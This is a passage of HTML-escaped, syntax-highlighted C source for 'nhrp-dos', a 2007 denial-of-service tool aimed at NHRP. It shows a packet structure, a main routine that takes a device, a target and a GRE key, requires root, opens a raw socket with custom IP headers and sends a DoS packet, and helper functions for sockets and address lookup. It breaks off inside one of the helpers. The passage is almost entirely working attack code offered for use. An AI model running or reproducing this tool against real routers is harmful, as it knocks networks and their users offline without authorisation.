&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; pref_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; reserved;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mtu;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MTU */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; holding_time;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_pro:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; preference:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ext;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP extension */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} cie;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Main function */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;argv) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check command line */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(argc &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Usage: ./nhrp-dos &amp;lt;device&amp;gt; &amp;lt;target&amp;gt; &amp;lt;GRE key&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(Set GRE key = 0 to disable GRE keys!)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check UID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;getuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;geteuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: Please run as root!&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open a socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sockfd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send DoS packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(sockfd, &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;atoi&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;]));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt;(sockfd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_SUCCESS);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; one &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;ptr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;one;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(AF_INET, SOCK_RAW, IPPROTO_UDP);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: Unable to open socket.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Otherwise it would be done by the kernel. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, IP_HDRINCL, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifndef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, SO_BROADCAST, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(fd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fd));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Resolve the hostname to IP address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; in_addr addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; hostent &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host_ent;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;((addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inet_addr&lt;/span&gt;(host)) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;(host_ent &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gethostbyname&lt;/span&gt;(host)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;addr.s_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_length);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Get IPv4 address of DEVICE */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; tmp_fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ifreq ifr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(PF_INET, SOCK_DGRAM, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: socket failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr.ifr_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;strncpy&lt;/span&gt;(ifr.ifr_name, device, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr.ifr_name));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ifr.ifr_addr.sa_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ioctl&lt;/span&gt;(tmp_fd, SIOCGIFADDR, (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: ioctl failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(tmp_fd);
